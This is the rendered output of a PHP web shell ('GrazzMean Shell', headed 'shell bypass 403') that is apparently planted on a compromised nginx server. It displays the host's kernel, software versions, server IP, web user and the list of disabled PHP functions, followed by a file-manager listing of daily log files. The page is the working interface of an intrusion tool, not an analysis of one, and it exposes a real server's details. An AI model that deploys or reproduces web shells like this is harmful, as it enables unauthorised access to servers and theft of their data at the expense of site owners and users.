shell bypass 403

GrazzMean Shell

Uname: Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Software: nginx/1.22.1
PHP version: 7.3.31 [ PHP INFO ] PHP os: Linux
Server Ip: 103.146.158.90
Your Ip: 216.73.216.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
name last edit size owner:downer permission options
..
01.log 2026-02-01 22:59:03 183.17 KB www:www -rw-r--r--
02.log 2026-02-02 22:47:32 772.74 KB www:www -rw-r--r--
03.log 2026-02-03 22:54:49 165.32 KB www:www -rw-r--r--
04.log 2026-02-04 22:33:42 357.91 KB www:www -rw-r--r--
05.log 2026-02-05 22:51:58 162.68 KB www:www -rw-r--r--
06.log 2026-02-06 22:49:12 150.23 KB www:www -rw-r--r--
07.log 2026-02-07 22:46:19 132.84 KB www:www -rw-r--r--
08.log 2026-02-08 22:07:58 338.16 KB www:www -rw-r--r--
09.log 2026-02-09 22:37:42 458.93 KB www:www -rw-r--r--
10.log 2026-02-10 22:28:03 224.8 KB www:www -rw-r--r--
11.log 2026-02-11 22:42:53 161.16 KB www:www -rw-r--r--
12.log 2026-02-12 22:57:33 166.31 KB www:www -rw-r--r--
13.log 2026-02-13 22:45:55 173.28 KB www:www -rw-r--r--
14.log 2026-02-14 22:55:56 99.98 KB www:www -rw-r--r--
15.log 2026-02-15 21:36:30 115.94 KB www:www -rw-r--r--
16.log 2026-02-16 22:09:43 130.17 KB www:www -rw-r--r--
17.log 2026-02-17 22:34:49 121.24 KB www:www -rw-r--r--
18.log 2026-02-18 22:57:01 129.9 KB www:www -rw-r--r--
19.log 2026-02-19 22:28:27 138.74 KB www:www -rw-r--r--
20.log 2026-02-20 22:58:58 138.16 KB www:www -rw-r--r--
21.log 2026-02-21 22:49:29 146.76 KB www:www -rw-r--r--
22.log 2026-02-22 22:39:35 534.98 KB www:www -rw-r--r--
23.log 2026-02-23 22:48:41 104.53 KB www:www -rw-r--r--
24.log 2026-02-24 22:15:40 128.38 KB www:www -rw-r--r--
25.log 2026-02-25 22:37:33 138.23 KB www:www -rw-r--r--
26.log 2026-02-26 22:30:19 155.25 KB www:www -rw-r--r--
27.log 2026-02-27 22:40:51 137.96 KB www:www -rw-r--r--
28.log 2026-02-28 22:42:49 130.34 KB www:www -rw-r--r--
© 2026 GrazzMean